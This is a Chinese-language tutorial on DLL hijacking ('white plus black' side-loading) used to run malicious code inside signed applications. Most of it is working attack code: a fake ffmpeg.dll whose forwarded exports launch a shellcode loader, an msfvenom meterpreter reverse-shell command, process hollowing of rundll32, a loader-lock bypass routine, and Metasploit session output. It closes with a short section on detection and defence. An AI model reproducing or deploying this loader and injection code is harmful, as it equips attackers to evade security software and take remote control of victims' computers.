黑加白 Dll 劫持及防护
白加黑技术是一种利用动态链接库(DLL)劫持技术来绕过安全软件的主动防御机制的方法。攻击者通过某种方式(如修改系统注册表、替换或修改合法的 DLL 文件等)使白文件在运行时加载恶意的 DLL 而不是它原本应该加载的合法 DLL。
DLL 劫持(有时也称为 DLL 侧加载或 DLL 预加载)是一种技术,它通过欺骗合法进程(EXE)加载错误的库(DLL),使第三方代码能够被注入。最常见的方式是将类似的 DLL 放在搜索顺序中比预期的 DLL 更靠前的位置,从而使 Windows 库加载器首先选择您的 DLL。
DLL 劫持在加载到进程后执行第三方代码时存在一个巨大的缺点。即加载器锁定,当运行第三方代码时,它受到所有严格限制的约束。这些限制包括创建进程、进行网络 I/O、调用注册表函数、创建图形窗口、加载其他库等等。在加载器锁定下尝试执行任何这些操作可能会导致应用程序崩溃或挂起,因此需要对此进行解锁或绕过。
DLL 文件搜索顺序
当 Windows 系统中的程序尝试加载 DLL 文件时,如果程序只指定了 DLL 的文件名而没有指定完整的路径,系统会按照特定的顺序在一系列目录中搜索这个 DLL。
DLL 搜索顺序大致如下:
- 程序所在的目录:系统首先在运行程序所在的目录下寻找 DLL。
- 系统目录:如果在上一步找不到DLL,系统会接着在Windows系统目录(通常是
C:\Windows\System32
)中寻找。 - 16 位系统目录:针对一些旧的 16 位应用程序的目录。
- Windows目录:如果前三个步骤都找不到DLL,系统会在Windows目录(通常是
C:\Windows
)中搜索。 - 当前目录:如果程序是从命令行启动的,系统还会在启动命令的目录中搜索。
- PATH 环境变量:如果以上所有步骤都失败,系统会检查 PATH 环境变量中列出的目录
攻击者通过在搜索路径中较早的位置放置一个同名的恶意 DLL,使得系统在搜索到合法 DLL 之前先找到并加载了这个恶意 DLL。这样当程序尝试加载 DLL 时,实际上加载的是恶意 DLL。
静态调用和动态调用
静态调用
- 在编译时链接:当使用静态调用时,DLL 的函数调用信息会在程序编译时被包含在最终的可执行文件中。这意味着在编译时编译器会查找 DLL 中函数的地址,并将这些地址硬编码到可执行文件中。
- 运行时依赖:尽管函数调用信息在编译时被包含,程序在运行时仍然需要 DLL 文件。如果 DLL 文件不可用或损坏,程序可能无法正常运行。
- 不需要显式加载 DLL:由于函数地址在编译时已确定,因此程序在运行时不需要显式加载 DLL。
动态调用
- 在运行时链接:动态调用允许程序在运行时加载 DLL,并动态地查找和调用 DLL 中的函数。这意味着,函数调用信息不是在编译时确定的,而是在程序运行时通过 DLL 加载和函数地址解析来确定的。
- 显式加载DLL:在使用动态调用时,程序需要使用API(如Windows中的
LoadLibrary
或GetProcAddress
)来显式加载 DLL,并获取函数的地址。 - dll 动态调用无法直接在 PE 查看器中查看,所需 dll 不存在时不会返回错误,只有当调用不存在的 dll 中的函数时才会退出程序并返回错误代码
[!NOTE]
动态调用中一些程序为了防止 dll 劫持,会对自己的一些位置确切固定不变的 dll 进行校验,如果发现被篡改了则不会加载。
可用白文件查找
可劫持 dll 查找按照 dll 静态调用和动态调用方式分为静态查找和动态查找。
静态查找
-
通过静态调用的特点去查找,将 exe 移动到另一个位置,执行时会提示找不到 dll
-
或者使用 Dependencies 查看,一般情况下可以利用其中的当前路径下的 dll
[!NOTE]
需要从安装位置放入 Dependencies,否则看不到当前路径的加载
- 使用工具: https://github.com/HexNy0a/SkyShadow
该工具从本机获取微软 DLL 列表,并快速生成指定文件夹下所有 EXE 的 Unique DLL Hijacking Payload
动态查找
使用 ProcessMonitor 等监视工具在运行 exe 时查看调用了哪些 dll 文件
过滤项设置
- ProcessName —— 执行的 exe
- Path —— 当前目录(关注当前目录下加载的 dll 文件)
- 非 dll 文件 exclude
[!warning]
如果 dll 文件之间有依赖关系,那么可能 dll1 文件加载失败,dll2 也会失败导致不显示 dll2 的加载;而且从下图看出部分系统 dll 也会从当前目录进行加载
黑 DLL 编写
整体框架
使用上面的 ffmpeg.dll 文件编写一个简易的黑 dll 文件。
在 Visual Studio 2022 中新创建动态链接库工程 ffmpeg,文件夹结构如下
导出函数上线方式
framework.h(不需要动)
#pragma once
#define WIN32_LEAN_AND_MEAN // 从 Windows 头文件中排除极少使用的内容
// Windows 头文件
#include <windows.h>
pch.h
#ifndef PCH_H
#define PCH_H
// 添加要在此处预编译的标头
#include "framework.h"
#endif //PCH_H
#ifdef ffmpeg_EXPORTS
#define API_DECLSPECKM__declspec(dllexport)
#else
#define API_DECLSPECKM__declspec(dllimport)
#endif // ffmpeg_EXPORTS
dllmain.cpp(不需要动)
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
pch.cpp
pch.h 中主要有两部分组成
- 导出函数
- 恶意代码
// pch.cpp: 与预编译标头对应的源文件
#include "pch.h"
// 当使用预编译的头时,需要使用此源文件,编译才能成功。
unsigned int payload_len = sizeof payload - 1;
extern "C" int run() {
void* runtime;
BOOL retval;
HANDLE h_thread;
DWORD old_protect = 0;
runtime = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
RtlMoveMemory(runtime, payload, payload_len);
retval = VirtualProtect(runtime, payload_len, PAGE_EXECUTE_READ, &old_protect);
if (retval != 0) {
h_thread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)runtime, 0, 0, 0);
WaitForSingleObject(h_thread, -1);
}
VirtualFree(runtime, payload_len, MEM_RELEASE);
MessageBox(NULL, L"Payload注入成功", L"test", MB_OK);
return 0;
}
导出函数获取
由于 ffmpeg 是静态函数,在运行之前会对 dll 的导出函数进行检查,需要包含所有必须的导出函数才能被加载。此处使用集成了aheadlib 插件的 Dependencies 获取导出函数。
可以看到有 54 个导出函数。
右键启动 AHeadLib Codegen 将函数导出到指定文件
打开导出文件夹中的 .c
文件,结构如下
将其中的 linker
复制到 pch.cpp 中,并将等于号后面的内容替换为要执行的函数名,此处我们运行的函数为 run
,则替换为
#pragma comment(linker,"/EXPORT:av_buffer_create=run,@1")
#pragma comment(linker,"/EXPORT:av_buffer_get_opaque=run,@2")
#pragma comment(linker,"/EXPORT:av_dict_count=run,@3")
#pragma comment(linker,"/EXPORT:av_dict_free=run,@4")
#pragma comment(linker,"/EXPORT:av_dict_get=run,@5")
#pragma comment(linker,"/EXPORT:av_dict_set=run,@6")
#pragma comment(linker,"/EXPORT:av_force_cpu_flags=run,@7")
#pragma comment(linker,"/EXPORT:av_frame_alloc=run,@8")
#pragma comment(linker,"/EXPORT:av_frame_clone=run,@9")
#pragma comment(linker,"/EXPORT:av_frame_free=run,@10")
#pragma comment(linker,"/EXPORT:av_frame_unref=run,@11")
#pragma comment(linker,"/EXPORT:av_free=run,@12")
#pragma comment(linker,"/EXPORT:av_get_bytes_per_sample=run,@13")
#pragma comment(linker,"/EXPORT:av_get_cpu_flags=run,@14")
#pragma comment(linker,"/EXPORT:av_image_check_size=run,@15")
#pragma comment(linker,"/EXPORT:av_init_packet=run,@16")
#pragma comment(linker,"/EXPORT:av_log_set_level=run,@17")
#pragma comment(linker,"/EXPORT:av_malloc=run,@18")
#pragma comment(linker,"/EXPORT:av_max_alloc=run,@19")
#pragma comment(linker,"/EXPORT:av_new_packet=run,@20")
#pragma comment(linker,"/EXPORT:av_packet_alloc=run,@21")
#pragma comment(linker,"/EXPORT:av_packet_copy_props=run,@22")
#pragma comment(linker,"/EXPORT:av_packet_free=run,@23")
#pragma comment(linker,"/EXPORT:av_packet_get_side_data=run,@24")
#pragma comment(linker,"/EXPORT:av_packet_unref=run,@25")
#pragma comment(linker,"/EXPORT:av_rdft_calc=run,@26")
#pragma comment(linker,"/EXPORT:av_rdft_end=run,@27")
#pragma comment(linker,"/EXPORT:av_rdft_init=run,@28")
#pragma comment(linker,"/EXPORT:av_read_frame=run,@29")
#pragma comment(linker,"/EXPORT:av_rescale_q=run,@30")
#pragma comment(linker,"/EXPORT:av_samples_get_buffer_size=run,@31")
#pragma comment(linker,"/EXPORT:av_seek_frame=run,@32")
#pragma comment(linker,"/EXPORT:av_stream_get_first_dts=run,@33")
#pragma comment(linker,"/EXPORT:av_stream_get_side_data=run,@34")
#pragma comment(linker,"/EXPORT:av_strerror=run,@35")
#pragma comment(linker,"/EXPORT:avcodec_align_dimensions=run,@36")
#pragma comment(linker,"/EXPORT:avcodec_alloc_context3=run,@37")
#pragma comment(linker,"/EXPORT:avcodec_descriptor_get=run,@38")
#pragma comment(linker,"/EXPORT:avcodec_descriptor_next=run,@39")
#pragma comment(linker,"/EXPORT:avcodec_find_decoder=run,@40")
#pragma comment(linker,"/EXPORT:avcodec_flush_buffers=run,@41")
#pragma comment(linker,"/EXPORT:avcodec_free_context=run,@42")
#pragma comment(linker,"/EXPORT:avcodec_get_name=run,@43")
#pragma comment(linker,"/EXPORT:avcodec_open2=run,@44")
#pragma comment(linker,"/EXPORT:avcodec_parameters_to_context=run,@45")
#pragma comment(linker,"/EXPORT:avcodec_receive_frame=run,@46")
#pragma comment(linker,"/EXPORT:avcodec_send_packet=run,@47")
#pragma comment(linker,"/EXPORT:avformat_alloc_context=run,@48")
#pragma comment(linker,"/EXPORT:avformat_close_input=run,@49")
#pragma comment(linker,"/EXPORT:avformat_find_stream_info=run,@50")
#pragma comment(linker,"/EXPORT:avformat_free_context=run,@51")
#pragma comment(linker,"/EXPORT:avformat_open_input=run,@52")
#pragma comment(linker,"/EXPORT:avio_alloc_context=run,@53")
#pragma comment(linker,"/EXPORT:avio_close=run,@54")
Loader 编写
使用 msfvenom 生成 payload
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.80.128 LPORT=4444 -f c
编写一个简单的加载器
unsigned char payload[] =
"\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50"
....
"\xf0\xb5\xa2\x56\xff\xd5";
unsigned int payload_len = sizeof payload - 1;
extern "C" int run() {
void* runtime;
BOOL retval;
HANDLE h_thread;
DWORD old_protect = 0;
runtime = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
RtlMoveMemory(runtime, payload, payload_len);
retval = VirtualProtect(runtime, payload_len, PAGE_EXECUTE_READ, &old_protect);
if (retval != 0) {
h_thread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)runtime, 0, 0, 0);
WaitForSingleObject(h_thread, -1);
}
VirtualFree(runtime, payload_len, MEM_RELEASE);
MessageBox(NULL, L"Payload注入成功", L"test", MB_OK);
return 0;
}
编译该 dll 文件为 ffmpeg.dll,可以看到导出函数已经正常显示。
将该文件放到 exe 目录下进行替换,并开启 msf 的监听后运行 exe
[!NOTE]
我们这里用到 64 位 payload,因此 msf 也要用 x64 的;此外 payload 比较简单容易被杀毒引擎识别
msf6 exploit(multi/handler) > options
Module options (exploit/multi/handler):
Name Current Setting Required Description
---- --------------- -------- -----------
Payload options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none
)
LHOST 192.168.80.128 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Wildcard Target
可以看到成功上线
msf6 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.80.128:4444
[*] Sending stage (200774 bytes) to 192.168.80.129
[*] Meterpreter session 4 opened (192.168.80.128:4444 -> 192.168.80.129:50299) at 2024-06-07 14:31:24 +0800
meterpreter >
DLLMain 上线方式
解决 DllMain 中的死锁问题有两种方式:
- 在 DllMain 中新启动一个进程,然后把 shellcode 注入进程执行
- 手动在内存中找到并释放锁后执行代码
注入其他进程
在 dllmain.cpp 中写入下面代码
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <iostream>
using namespace std;
unsigned char payload[] =
"\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50"
...
"\xf0\xb5\xa2\x56\xff\xd5";
unsigned int payload_len = sizeof payload - 1;
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH: {
char* v7A = (char*)VirtualAlloc(0, payload_len, 0x3000u, 0x40u); // 在当前进程的内存空间中分配空间
memcpy((void*)v7A, payload, payload_len); // payload复制到分配的内存空间
struct _PROCESS_INFORMATION ProcessInformation; // 用于存储新进程信息的结构体
struct _STARTUPINFOA StartupInfo; // 用于指定新进程的主窗口特性的结构体
void* v24; // 用于存储在远程进程中分配的内存地址
CONTEXT Context; // 用于存储线程上下文信息的结构体
memset(&StartupInfo, 0, sizeof(StartupInfo)); // 初始化StartupInfo结构体
StartupInfo.cb = 68; // 设置StartupInfo结构体的大小
BOOL result = CreateProcessA(0, (LPSTR)"rundll32.exe", 0, 0, 0, 0x44u, 0, 0, &StartupInfo, &ProcessInformation);
if (result)
{
Context.ContextFlags = 65539; // 设置上下文标志,指示需要获取的上下文信息
GetThreadContext(ProcessInformation.hThread, &Context); // 获取新进程的主线程的上下文
v24 = VirtualAllocEx(ProcessInformation.hProcess, 0, payload_len, 0x1000u, 0x40u); // 在新进程的内存空间中分配空间
WriteProcessMemory(ProcessInformation.hProcess, v24, v7A, payload_len, NULL); // 将payload复制到新进程的内存空间
// 32 位使用 Context.Eip = (DWORD_PTR)v24;
Context.Rip = (DWORD_PTR)v24; // 设置新进程的主线程的指令指针(RIP)为payload的地址
SetThreadContext(ProcessInformation.hThread, &Context); // 更新新进程的主线程的上下文
ResumeThread(ProcessInformation.hThread); // 恢复新进程的主线程的执行
CloseHandle(ProcessInformation.hThread); // 关闭新进程的主线程句柄
result = CloseHandle(ProcessInformation.hProcess); // 关闭新进程的句柄
}
TerminateProcess(GetCurrentProcess(), 0); // 终止当前进程
}
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
该代码通过 CreateProcess(虽然名义上还是不允许)创建了 rundll32 进程并在该内存中分配写入 shellcode,通过修改程序计数器 RIP 指向 shellcode 地址,之后恢复线程执行 shellcode。
由于哔哩哔哩的例子中仍然要有导出函数,所以可以对其进行保留一个 run 函数
// pch.cpp: 与预编译标头对应的源文件
#include "pch.h"
#pragma comment(linker,"/EXPORT:av_buffer_create=run,@1")
...
#pragma comment(linker,"/EXPORT:avio_close=run,@54")
// 当使用预编译的头时,需要使用此源文件,编译才能成功。
extern "C" int run() {
return 0;
}
重新编译后替换 ffmpeg.dll,成功上线
msf6 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.80.128:4444
[*] Sending stage (200774 bytes) to 192.168.80.129
[*] Meterpreter session 9 opened (192.168.80.128:4444 -> 192.168.80.129:50443) at 2024-06-07 16:49:49 +0800
meterpreter >
释放锁后运行
项目: https://github.com/Neo-Maoku/DllMainHijacking
[!bug]
该项目中需要将第 320 行的 NTSTATUS 替换为 VOID,否则会编译失败。
这个项目目前可以实现动态和静态的锁释放,但是其中关于 Windows 现代版本中的解锁原理有待研究。
该项目中的主要处理逻辑为 UNLOOK
函数,后续对不同的加锁方式进行解释。
在Windows操作系统中,当一个DLL 被加载时,系统会调用该DLL的 DllMain
函数。DllMain
是 DLL 的入口点,可以用来执行一些初始化和清理工作。如果 DLL 中的代码需要访问或修改共享资源,那么在执行这些操作之前,通常需要对临界区(critical section)进行加锁,以确保资源访问的同步性。
LdrLoadDll
函数是加载 DLL 的关键入口点,它负责处理 DLL 加载前的准备工作,调用实际的加载函数,并在加载完成后清理相关资源。
- 初始化变量和状态:
- 禁用页堆故障注入,以避免在加载 DLL 期间发生过多的故障。
- 初始化静态重定向 DLL 名称缓冲区和 UNICODE_STRING 结构。
- 设置加载 DLL 的标志,如是否使用重定向。
- 获取当前正在加载的顶级 DLL 的指针,用于后续的递归检查。
- 重定向DLL名称,调用
RtlDosApplyFileIsolationRedirection_Ustr
函数来处理 DLL 名称的重定向,确保 DLL 在隔离环境中正确加载。 - 获取加载器锁以防其他线程在加载 DLL 时修改加载器状态。
- 检查是否有递归加载 DLL 的情况
- 使用
LdrpLoadDll
函数加载 DLL。这个函数是加载 DLL 的核心逻辑。如果加载失败,并且不是常见的文件不存在或 DLL 未找到错误,则打印错误信息。 - 释放加载器锁。
- 清理和重新启用页堆故障注入,如果之前创建了动态重定向 DLL 名称,则释放它。
RtlLeaveCriticalSection
函数是 Windows 内核提供的一个用于离开临界区的函数,它确保线程在完成对共享资源的访问后正确地释放临界区,以允许其他线程继续执行。
当一个线程调用 RtlLeaveCriticalSection
函数时,它告诉系统它已经完成了对共享资源的访问,并请求离开临界区。如果当前线程是持有该临界区的线程,它将减少递归计数,并在递归计数变为零时释放临界区。这允许其他线程进入临界区并访问共享资源。
UNLOOK()实现
下面实现了在用户模式应用程序中获取并调用 ntdll.dll
中的 RtlLeaveCriticalSection
函数对锁进行释放,之后加载自己的 dll 文件后
PPEB Peb = GetPeb();
HMODULE hModule = GetModuleHandleA("ntdll.dll");
if (hModule == NULL)
return;
//定义了一个函数指针类型 RTLLEAVECRITICALSECTION,指向一个返回NTSTATUS类型,接受一个 PRTL_CRITICAL_SECTION 类型参数的函数。这个函数指针类型用于指向 RtlLeaveCriticalSection 函数。
typedef NTSTATUS(NTAPI* RTLLEAVECRITICALSECTION)(PRTL_CRITICAL_SECTION CriticalSection);
RTLLEAVECRITICALSECTION RtlLeaveCriticalSection = NULL;
//使用 GetProcAddress 函数来获取 RtlLeaveCriticalSection 函数的地址,并将其转换为之前定义的函数指针类型。
RtlLeaveCriticalSection = (RTLLEAVECRITICALSECTION)GetProcAddress((HMODULE)hModule, "RtlLeaveCriticalSection");
//离开 LoaderLock 临界区,允许其他线程继续执行它们等待进入的临界区。
RtlLeaveCriticalSection((PRTL_CRITICAL_SECTION)Peb->LoaderLock);
在 win7 以上的版本引入了新加锁机制,也需要对值进行修改。
#ifdef _WIN64
//LdrFastFailInLoaderCallout导出函数开始匹配的特征码
unsigned char lock_count_flag[] = { 0x66, 0x21, 0x88, 0xEE, 0x17, 0x00, 0x00 };
//针对没有LdrFastFailInLoaderCallout导出函数的,全局特征码
unsigned char win7_lock_count_flag[] = { 0xF0, 0x44, 0x0F, 0xB1, 0x35, 0xFF, 0xFF, 0xFF, 0xFF, 0x41 };
#else
unsigned char lock_count_flag[] = { 0x66, 0x21, 0x88, 0xCA, 0x0F, 0x00, 0x00, 0xE8 };
unsigned char win7_lock_count_flag[] = { 0xC7, 0x45, 0xFC, 0xFE, 0xFF, 0xFF, 0xFF, 0xBB, 0xFF, 0xFF, 0xFF, 0xFF, 0x8B, 0x75, 0xD8 };
#endif
#ifdef _WIN64
//LdrGetDllFullName导出函数开始匹配的特征码,有两个是为了兼容不同版本系统
unsigned char win10_staic_lock_flag1[] = { 0x48, 0x8B, 0x05, 0xFF, 0xFF, 0xFF, 0x00 };
unsigned char win10_staic_lock_flag2[] = { 0x48, 0x8B, 0x1d, 0xFF, 0xFF, 0xFF, 0x00 };
#else
unsigned char win10_staic_lock_flag1[] = { 0x3b, 0x3d };
#endif
#ifdef _WIN32
//上面的修改对server2012下32位程序还无法突破,需要额外解锁
unsigned char server12_staic_lock_flag[] = { 0x64, 0x8B, 0x1D, 0x18, 0x00, 0x00, 0x00, 0x83, 0x65, 0xDC, 0x00, 0xBA };
#endif
VOID UNLOOK()
{
HMODULE base = GetModuleHandleA("ntdll.dll");
DWORD rdataLength;
BYTE* textData = readSectionData((BYTE*)base, &rdataLength, (char*)".text");
//适用于win7 server 08以上的系统,需要格外解锁
size_t addr = memFind(textData, lock_count_flag, (size_t)textData + rdataLength, sizeof(lock_count_flag));
if (addr != 0)
{
#ifdef _WIN64
addr = (size_t)addr + 0x15;
addr = addr + 5 + *(PDWORD)addr;
#else
addr = (size_t)addr + 0xe;
addr = *(PDWORD)addr;
#endif
* (PDWORD)addr = (*(PDWORD)addr) & 0;
size_t skipFileAPIBrokeringAddr = GetSkipFileAPIBrokering();
(*(PWORD)skipFileAPIBrokeringAddr) = (*(PWORD)skipFileAPIBrokeringAddr) & 0xEFFF;
}
....
}
检测&防护
一个明显的特征是在正常加载时,可以在日志中看到 dll 文件的签名情况,正常未被劫持的 dll 如下,ffmeg 是由上海哔哩哔哩科技有限公司进行签名。
如果被劫持则 SignatureStatus
会变为 Unavailable
,
比较有效的方法是维护签名 dll 列表,对可能存在注入的签名 dll 进行监控,如果存在异常签名或未签名的可疑 dll 则进行告警;以下是部分检测项目
HijackLibs
安全专家 Wietze Beukema(@Wietze)维护了一个检测可能存在注入程序的列表 https://hijacklibs.net/#
该项目维护了一批 Sigma 检测规则,用于检测可疑的 dll 注入,但是通过简易评估可能会产生许多误报,尤其是在国内的软件开发环境中。
Windows Feature Hunter
https://github.com/ConsciousHacker/WFH
Windows Feature Hunter(WFH)是一个概念验证的 Python 脚本,使用动态工具包 Frida 来辅助在 Windows 可执行文件中潜在地识别常见的“漏洞”或“特性”。WFH 目前具备自动识别大规模潜在的动态链接库(DLL)侧加载和组件对象模型(COM)劫持机会的能力。
DLL 侧加载利用 Windows 并行(WinSXS)组件来从并行(SXS)列表中加载恶意 DLL。COM 劫持允许对手通过劫持 COM 引用和关系插入恶意代码,以替代合法软件进行执行。WFH 将打印潜在的漏洞,并将潜在的漏洞写入包含目标 Windows 可执行文件的 CSV 文件中。
Windows DLL Hijacking Windows
https://github.com/wietze/windows-dll-hijacking
包含了所有用于在 Windows 10(版本 1909)上查找相对路径 DLL 劫持候选文件的脚本
参考
白加黑利用,完美解决DllMain执行shellcode死锁问题
Perfect DLL Hijacking | Elliot on Security
GitHub - Neo-Maoku/DllMainHijacking: Resolve the issue of DLLmain function in white and black DLLs hanging when calling shellcode
What is Loader Lock? | Elliot on Security
reactos/dll/ntdll/ldr/ldrapi.c at master · reactos/reactos · GitHub